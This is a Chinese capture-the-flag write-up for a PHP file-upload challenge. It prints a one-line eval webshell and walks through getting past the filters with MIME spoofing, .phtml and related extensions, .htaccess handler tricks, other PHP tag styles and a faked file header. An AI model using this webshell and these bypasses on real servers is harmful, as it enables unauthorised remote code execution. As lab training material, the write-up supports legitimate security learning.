BUUCTF-[极客大挑战 2019]Upload1

题目:

分析:

一个文件上传漏洞

上传一个1.php文件内容为:<?php eval($_POST[1]);?>

发现报错。

查看源代码,没有关于过滤的代码,说明是后端进行的过滤。

bp抓包:修改MIME

报错说不能是php文件 、那就试试其他几种后缀:

发现只有phtml文件可以使用,修改后缀为phtml

绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht,这些后缀名都可以被当做php文件执行(需要配置文件里面的支持) 1、例如Apache的 httpd.conf 中有如下配置代码: AddType application/x-httpd-php .php .phtml .phps .php5 .pht 2、或者.htaccess文件内容: SetHandler application/x-httpd-php 意思是设置当前所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当做PHP执行。不符合则报错。 phtml一般是指嵌入了php代码的html文件,但是同样也会作为php解析 PHT文件是一个HTML页面,其中包括一个PHP脚本

发现提示说文件中包含了<?

那么我们就用PHP另外的代码风格

php4种常见风格标签写法
1:正常写法xml格式
<?php
    echo 1111;
?>


2:短标签
<?
    echo 1111;
?>

5.4 起 <?= hello; === <? echo hello;

<?=$a?>
<?=(表达式)?>
就相当于
<?php echo $a?>
<?php echo (表达式)?>
<?需要 php.ini 配置文件中的指令 short_open_tag 打开后才可用,或者在 PHP 编译时加入了 --enable-short-tags 选项。
而自 PHP5.4 起,短格式的 echo 标记 <?= 总会被识别并且合法,而不管 short_open_tag 的设置是什么。


3:asp风格写法
<%
    echo 1111;  
%>

(注释:这种写法在php配置中默认关闭了的,如果要正常输出,需要配置php.ini文件。在配置文件中找到asp_tags=off ,将off改为on。改动配置文件后需要重启apache。)但是在php7之后被移除了


4:长标签风格
<script language="php">

XXXXXX

</script>
在php7之后被移除了

结果还是报错,那么再伪造头部

成功上传!

最后还得访问这个文件:一般文件上传后都会放在url/upload/文件名

经验分享 程序员 微信小程序 职场和发展